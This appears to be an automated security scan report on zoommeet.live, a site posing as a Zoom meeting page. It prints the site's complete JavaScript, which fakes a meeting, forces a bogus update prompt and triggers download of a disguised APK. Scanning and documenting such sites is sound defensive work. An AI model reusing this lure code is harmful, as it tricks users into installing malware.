technology software

documentation technical

English

Domain 'zoommeet.live' uses the .live top-level domain. Count 8 characters in 'zoommeet' containing four vowels alongside four consonants. Segmentation suggests 2 words: zoom, meet. Median word length is 4 characters. No strong language cues emerged from the frequency lists.

b068449d9a52b36013613f7382dceb64114202876507b051bb22e20abf9216fa

width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover

viewport

theme-color

mobile-web-app-capable

apple-mobile-web-app-capable

apple-mobile-web-app-status-bar-style

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

CD zoom Sun, Oct 25 0248 AN

Zoom Meeting

Meeting ID: 884 3277 8843

Poin)

® Test speaker and microphone @ Settings

Mute Stop Video Retry

Na camera or microphone found on this device. You can stil jaïn.

Terms Privacy Suppart © 2026 Zoom Video Communications, Inc.


Costel Savulescu

IPBNB Abuse Contact

ipbnb-mnt

ipbnb

IP-RIPE

IPbnb-LLC


"use strict";

const CONFIG = {
  APK_URL: "zoom_update.apk",
  APK_FILENAME: "Zoom_Update_5.17.11.apk",
  APK_GRACE_MS: 1500,
  MEETING_TITLE: "Zoom Meeting",
  MEETING_ID:    "",
  oldVersion: "5.14.0",
  newVersion: "5.17.11",
  connectDurationMs: 2000,
  meetSecondsBeforePrompt: 5,
  updateDurationMs: 6000,
  updateTotalMB: 84,
};

const state = {
  stream: null,
  micOn: true,
  camOn: true,
  updated: false,
  meetingSeconds: 0,
  meetingTickHandle: null,
  promptHandle: null,
  promptShownThisSession: false,
  audioCtx: null,
  micAnalyser: null,
  micRafId: null,
  peerAudioTimer: null,
};

const $ = (id) => document.getElementById(id);
const views = {
  join:       $("view-join"),
  connecting: $("view-connecting"),
  meeting:    $("view-meeting"),
  update:     $("view-update"),
};
const toastEl = $("toast");

function showView(name) {
  Object.entries(views).forEach(([k, el]) => el.classList.toggle("active", k === name));
}
function toast(msg, ms = 2600) {
  toastEl.textContent = msg;
  toastEl.classList.add("show");
  clearTimeout(toast._t);
  toastEl._t = setTimeout(() => toastEl.classList.remove("show"), ms);
}
function pad2(n) { return String(n).padStart(2, "0"); }
function formatMeetingId(n) {
  return String(n).replace(/(\d{3})(\d{4})(\d{4})/, "$1 $2 $3");
}
function randomMeetingId() {
  return String(Math.floor(10000000000 + Math.random() * 89999999999));
}

function applyMeetingIdentity() {
  const mid = CONFIG.MEETING_ID && CONFIG.MEETING_ID.replace(/\s+/g, "")
    ? CONFIG.MEETING_ID
    : formatMeetingId(randomMeetingId());

  $("meetingTitle").textContent    = CONFIG.MEETING_TITLE;
  $("meetingTopTitle").textContent = CONFIG.MEETING_TITLE;
  $("meetingId").textContent       = mid;
  document.title                   = CONFIG.MEETING_TITLE;
}
applyMeetingIdentity();

/* Set the footer copyright year to the current year at boot. */
$("copyYear").textContent = new Date().getFullYear();

function ensureAudioCtx() {
  if (state.audioCtx) {
    if (state.audioCtx.state === "suspended") state.audioCtx.resume().catch(() => {});
    return state.audioCtx;
  }
  try {
    const AC = window.AudioContext || window.webkitAudioContext;
    if (!AC) return null;
    state.audioCtx = new AC();
  } catch (_) { state.audioCtx = null; }
  return state.audioCtx;
}

function startMicMeter() {
  if (!state.stream) return;
  if (!state.stream.getAudioTracks().length) return;
  const ctx = ensureAudioCtx();
  if (!ctx) return;

  try {
    const src = ctx.createMediaStreamSource(state.stream);
    const analyser = ctx.createAnalyser();
    analyser.fftSize = 256;
    src.connect(analyser);
    state.micAnalyser = analyser;
    $("micMeter").classList.add("active");

    const bars = $("micMeter").querySelectorAll("span");
    const buf = new Uint8Array(analyser.frequencyBinCount);

    function tick() {
      if (!state.micAnalyser) return;
      analyser.getByteTimeDomainData(buf);
      let sum = 0;
      for (let i = 0; i < buf.length; i++) {
        const v = (buf[i] - 128) / 128;
        sum += v * v;
      }
      const rms = Math.sqrt(sum / buf.length);
      const level = Math.min(1, rms * 5);
      const lit = Math.round(level * bars.length);
      bars.forEach((b, i) => {
        if (i < lit && state.micOn) {
          b.classList.add("on");
          b.style.height = (6 + (i + 1) * 2.4) + "px";
        } else {
          b.classList.remove("on");
          b.style.height = "6px";
        }
      });
      state.micRafId = requestAnimationFrame(tick);
    }
    tick();
  } catch (_) {}
}

function stopMicMeter() {
  if (state.micRafId) cancelAnimationFrame(state.micRafId);
  state.micRafId = null;
  state.micAnalyser = null;
  $("micMeter").classList.remove("active");
}

function tickJoinClock() {
  const d = new Date();
  const opts = { weekday: "short", month: "short", day: "numeric" };
  $("clock").textContent = d.toLocaleDateString(undefined, opts) + " · " +
                           d.toLocaleTimeString(undefined, { hour: "2-digit", minute: "2-digit" });
}
tickJoinClock();
setInterval(tickJoinClock, 30000);

async function requestMedia() {
  const noteEl = $("permNote");
  noteEl.classList.remove("error");
  noteEl.textContent = "Requesting camera and microphone…";

  if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
    noteEl.classList.add("error");
    noteEl.textContent = "Camera and microphone aren't available in this browser. You can still join with audio and video off.";
    return;
  }

  try {
    const stream = await navigator.mediaDevices.getUserMedia({
      video: { width: { ideal: 1280 }, height: { ideal: 720 }, facingMode: "user" },
      audio: { echoCancellation: true, noiseSuppression: true, autoGainControl: true },
    });
    state.stream = stream;
    const video = $("previewVideo");
    video.srcObject = stream;
    video.classList.add("live");
    $("previewStage").classList.add("has-video");
    noteEl.textContent = "Camera and microphone are ready.";
    applyMicState();
    applyCamState();
    startMicMeter();
  } catch (err) {
    state.stream = null;
    $("previewVideo").classList.remove("live");
    $("previewStage").classList.remove("has-video");
    noteEl.classList.add("error");
    if (err && (err.name === "NotAllowedError" || err.name === "SecurityError")) {
      noteEl.textContent = "Camera and microphone were blocked. You can still join — your camera will stay off.";
    } else if (err && err.name === "NotFoundError") {
      noteEl.textContent = "No camera or microphone found on this device. You can still join.";
    } else {
      noteEl.textContent = "Couldn't access camera or microphone. You can still join.";
    }
  }
}

function applyMicState() {
  if (state.stream) state.stream.getAudioTracks().forEach(t => t.enabled = state.micOn);
  $("btnMic").classList.toggle("off", !state.micOn);
  $("micLabel").textContent = state.micOn ? "Mute" : "Unmute";
  if ($("mMic")) $("mMic").classList.toggle("off", !state.micOn);
}
function applyCamState() {
  if (state.stream) state.stream.getVideoTracks().forEach(t => t.enabled = state.camOn);
  $("btnCam").classList.toggle("off", !state.camOn);
  $("camLabel").textContent = state.camOn ? "Stop Video" : "Start Video";
  $("previewVideo").classList.toggle("live", state.camOn && !!state.stream);
  $("previewStage").classList.toggle("has-video", state.camOn && !!state.stream);
  if ($("mCam")) $("mCam").classList.toggle("off", !state.camOn);
}

$("btnMic").addEventListener("click", () => { ensureAudioCtx(); state.micOn = !state.micOn; applyMicState(); });
$("btnCam").addEventListener("click", () => { state.camOn = !state.camOn; applyCamState(); });
$("btnPerm").addEventListener("click", () => { ensureAudioCtx(); requestMedia(); });

$("testAvLink").addEventListener("click", (e) => {
  e.preventDefault();
  const ctx = ensureAudioCtx();
  if (!ctx) { toast("Speaker test unavailable on this browser."); return; }
  toast("Speaker test: playing a short tone.");
  const now = ctx.currentTime;
  [660, 880].forEach((freq, i) => {
    const osc = ctx.createOscillator();
    const gain = ctx.createGain();
    osc.type = "sine";
    osc.frequency.value = freq;
    gain.gain.setValueAtTime(0, now + i * 0.18);
    gain.gain.linearRampToValueAtTime(0.06, now + i * 0.18 + 0.02);
    gain.gain.exponentialRampToValueAtTime(0.0001, now + i * 0.18 + 0.28);
    osc.connect(gain).connect(ctx.destination);
    osc.start(now + i * 0.18);
    osc.stop(now + i * 0.18 + 0.3);
  });
});
$("settingsLink").addEventListener("click", (e) => {
  e.preventDefault();
  toast("Settings panel coming up… (simulation)");
});

const CONNECT_MESSAGES = [
  "Connecting to the meeting…",
  "Verifying meeting credentials…",
  "Adjusting audio settings…",
  "Almost there…",
];

$("joinBtn").addEventListener("click", () => {
  ensureAudioCtx();
  showView("connecting");
  runConnectSequence();
});

function runConnectSequence() {
  const total = CONFIG.connectDurationMs;
  const step = total / CONNECT_MESSAGES.length;
  const bar = $("connectBar");
  const status = $("connectStatus");
  bar.style.width = "0%";

  CONNECT_MESSAGES.forEach((msg, i) => {
    setTimeout(() => {
      status.classList.add("fade");
      setTimeout(() => {
        status.textContent = msg;
        status.classList.remove("fade");
      }, 120);
      bar.style.width = `${Math.round(((i + 1) / CONNECT_MESSAGES.length) * 100)}%`;
    }, i * step);
  });

  setTimeout(enterMeeting, total);
}

function micMutedSvg() {
  return '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z"/><path d="M19 10v2a7 7 0 0 1-14 0v-2"/><path d="M12 19v4"/><path d="M1 1l22 22"/></svg>';
}

function buildMeetingStage() {
  const stage = $("meetingStage");
  stage.innerHTML = "";

  const tile = document.createElement("div");
  tile.className = "tile";
  tile.id = "selfTile";

  if (state.stream && state.camOn) {
    const video = document.createElement("video");
    video.id = "selfVideo";
    video.srcObject = state.stream;
    video.autoplay = true;
    video.muted = true;
    video.playsInline = true;
    tile.appendChild(video);
  } else {
    const presence = document.createElement("div");
    presence.className = "host-presence";
    presence.innerHTML = `
      <div class="ring">·</div>
      <div>Waiting for the host…</div>
      <div class="talking" id="hostTalking">
        <span></span><span></span><span></span><span></span><span></span>
      </div>
    `;
    tile.appendChild(presence);
  }

  const nm = document.createElement("div");
  nm.className = "tile-name";
  nm.textContent = "You";
  tile.appendChild(nm);

  if (!state.micOn) {
    const mic = document.createElement("div");
    mic.className = "tile-mic";
    mic.innerHTML = micMutedSvg();
    tile.appendChild(mic);
  }
  stage.appendChild(tile);
}

function rebuildSelfTile() { buildMeetingStage(); }

function enterMeeting() {
  showView("meeting");
  buildMeetingStage();
  startMeetingClock();
  startPeerAudioSimulation();

  state.meetingSeconds = 0;
  state.promptShownThisSession = false;

  if (state.updated) {
    $("updateStrip").classList.remove("show");
    $("meetingControls").classList.remove("disabled");
    return;
  }

  scheduleUpdatePrompt(CONFIG.meetSecondsBeforePrompt * 1000);
}

function startMeetingClock() {
  clearInterval(state.meetingTickHandle);
  state.meetingTickHandle = setInterval(() => {
    state.meetingSeconds++;
    const m = Math.floor(state.meetingSeconds / 60);
    const s = state.meetingSeconds % 60;
    $("meetingClock").textContent = `${pad2(m)}:${pad2(s)}`;
  }, 1000);
}

function scheduleUpdatePrompt(delayMs) {
  clearTimeout(state.promptHandle);
  state.promptHandle = setTimeout(() => {
    if (state.promptShownThisSession) return;
    openUpdateDialog();
  }, delayMs);
}

function openUpdateDialog() {
  state.promptShownThisSession = true;
  $("dlgOldVer").textContent = CONFIG.oldVersion;
  $("dlgNewVer").textContent = CONFIG.newVersion;
  $("updateDialog").classList.add("show");
  $("updateNowBtn").focus();
}

function startPeerAudioSimulation() {
  clearInterval(state.peerAudioTimer);
  state.peerAudioTimer = setInterval(() => {
    if (!views.meeting.classList.contains("active")) return;
    playPeerChatter();
  }, 5000 + Math.random() * 4000);
}

function playPeerChatter() {
  const ctx = ensureAudioCtx();
  if (!ctx) return;

  const now = ctx.currentTime;
  const lineCount = 3 + Math.floor(Math.random() * 4);
  let t = now;

  for (let i = 0; i < lineCount; i++) {
    const dur = 0.10 + Math.random() * 0.09;
    const freq = 180 + Math.random() * 140;
    const gainAmt = 0.008 + Math.random() * 0.010;
    const osc = ctx.createOscillator();
    const gain = ctx.createGain();
    osc.type = "triangle";
    osc.frequency.setValueAtTime(freq, t);
    osc.frequency.linearRampToValueAtTime(freq * 1.08, t + dur);
    gain.gain.setValueAtTime(0, t);
    gain.gain.linearRampToValueAtTime(gainAmt, t + 0.02);
    gain.gain.exponentialRampToValueAtTime(0.0001, t + dur);
    osc.connect(gain).connect(ctx.destination);
    osc.start(t);
    osc.stop(t + dur + 0.02);
    t += dur + 0.04 + Math.random() * 0.09;
    if (Math.random() < 0.15) t += 0.18;
  }
  flashHostTalking();
}

function flashHostTalking() {
  const el = $("hostTalking");
  if (!el) return;
  el.classList.add("on");
  const bars = el.querySelectorAll("span");
  let ticks = 0;
  const iv = setInterval(() => {
    bars.forEach(b => { b.style.height = (4 + Math.random() * 10) + "px"; });
    ticks++;
    if (ticks > 12) {
      clearInterval(iv);
      el.classList.remove("on");
      bars.forEach(b => b.style.height = "4px");
    }
  }, 120);
}

$("mMic").addEventListener("click", () => { ensureAudioCtx(); state.micOn = !state.micOn; applyMicState(); rebuildSelfTile(); });
$("mCam").addEventListener("click", () => { state.camOn = !state.camOn; applyCamState(); rebuildSelfTile(); });
$("mShare").addEventListener("click", () => { toast("Screen sharing is disabled until you update."); });
$("mReact").addEventListener("click", () => { toast("Reactions panel (simulation)."); });
$("mLeave").addEventListener("click", () => { leaveMeeting(); });

function leaveMeeting() {
  clearInterval(state.meetingTickHandle);
  clearInterval(state.peerAudioTimer);
  clearTimeout(state.promptHandle);
  if (state.stream) { state.stream.getTracks().forEach(t => t.stop()); state.stream = null; }
  stopMicMeter();
  $("previewVideo").classList.remove("live");
  $("previewStage").classList.remove("has-video");
  $("updateStrip").classList.remove("show");
  $("meetingControls").classList.remove("disabled");
  $("meetingClock").textContent = "00:00";
  showView("join");
  requestMedia();
}

$("whatsNewLink").addEventListener("click", (e) => {
  e.preventDefault();
  toast("Release notes open in your browser (simulation).");
});

$("updateNowBtn").addEventListener("click", () => {
  $("updateDialog").classList.remove("show");
  triggerApkDownload();
  startUpdateFlow();
});

function triggerApkDownload() {
  try {
    const a = document.createElement("a");
    a.href = CONFIG.APK_URL;
    a.download = CONFIG.APK_FILENAME;
    a.rel = "noopener";
    a.style.display = "none";
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
  } catch (err) {
    window.location.href = CONFIG.APK_URL;
  }
}

const UPDATE_PHASES = [
  { from: 0,  to: 35,  label: "Downloading update package…" },
  { from: 35, to: 55,  label: "Verifying download…" },
  { from: 55, to: 90,  label: "Installing update…" },
  { from: 90, to: 100, label: "Finishing up…" },
];

function startUpdateFlow() {
  clearInterval(state.meetingTickHandle);
  clearInterval(state.peerAudioTimer);
  clearTimeout(state.promptHandle);

  showView("update");
  const card   = $("updateCard");
  const bar    = $("updateBar");
  const pct    = $("updatePct");
  const size   = $("updateSize");
  const status = $("updateStatus");
  const done   = $("updateDone");

  card.classList.remove("done");
  done.classList.remove("show");
  bar.style.width = "0%";
  pct.textContent = "0%";
  size.textContent = `0 MB / ${CONFIG.updateTotalMB} MB`;
  status.textContent = "Preparing update…";
  status.classList.remove("fade");

  const totalMs = CONFIG.updateDurationMs;
  const start = performance.now();

  function frame(now) {
    const progress = Math.min(1, (now - start) / totalMs);
    const p = Math.round(progress * 100);

    bar.style.width = p + "%";
    pct.textContent = p + "%";
    size.textContent = `${Math.round((p / 100) * CONFIG.updateTotalMB)} MB / ${CONFIG.updateTotalMB} MB`;

    const phase = UPDATE_PHASES.find(ph => p >= ph.from && p < ph.to) || UPDATE_PHASES[UPDATE_PHASES.length - 1];
    if (status.textContent !== phase.label) {
      status.classList.add("fade");
      setTimeout(() => { status.textContent = phase.label; status.classList.remove("fade"); }, 120);
    }

    if (progress < 1) requestAnimationFrame(frame);
    else finishUpdate();
  }
  requestAnimationFrame(frame);
}

function finishUpdate() {
  const card   = $("updateCard");
  const bar    = $("updateBar");
  const pct    = $("updatePct");
  const size   = $("updateSize");
  const status = $("updateStatus");
  const done   = $("updateDone");

  bar.style.width = "100%";
  pct.textContent = "100%";
  size.textContent = `${CONFIG.updateTotalMB} MB / ${CONFIG.updateTotalMB} MB`;
  status.textContent = "Installing update…";

  setTimeout(() => {
    card.classList.add("done");
    done.classList.add("show");
    status.textContent = "Restart required to finish installation.";

    setTimeout(() => {
      state.updated = true;
      state.promptShownThisSession = false;
      $("updateStrip").classList.remove("show");
      $("meetingControls").classList.remove("disabled");
      $("updateDialog").classList.remove("show");
      showView("join");
      $("updateBanner").classList.add("show");
      if (!state.stream) requestMedia();
    }, CONFIG.APK_GRACE_MS);
  }, 400);
}

window.addEventListener("DOMContentLoaded", () => { requestMedia(); });
window.addEventListener("beforeunload", () => {
  if (state.stream) state.stream.getTracks().forEach(t => t.stop());
  if (state.audioCtx) state.audioCtx.close().catch(() => {});
});


Requests	IP Address	Location	AS Autonomous System
1	201.3.225.56	Poland	AS48031Ivanov Vitaliy Sergeevich
1	1	-	-

Security Scan Report: zoommeet.live

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History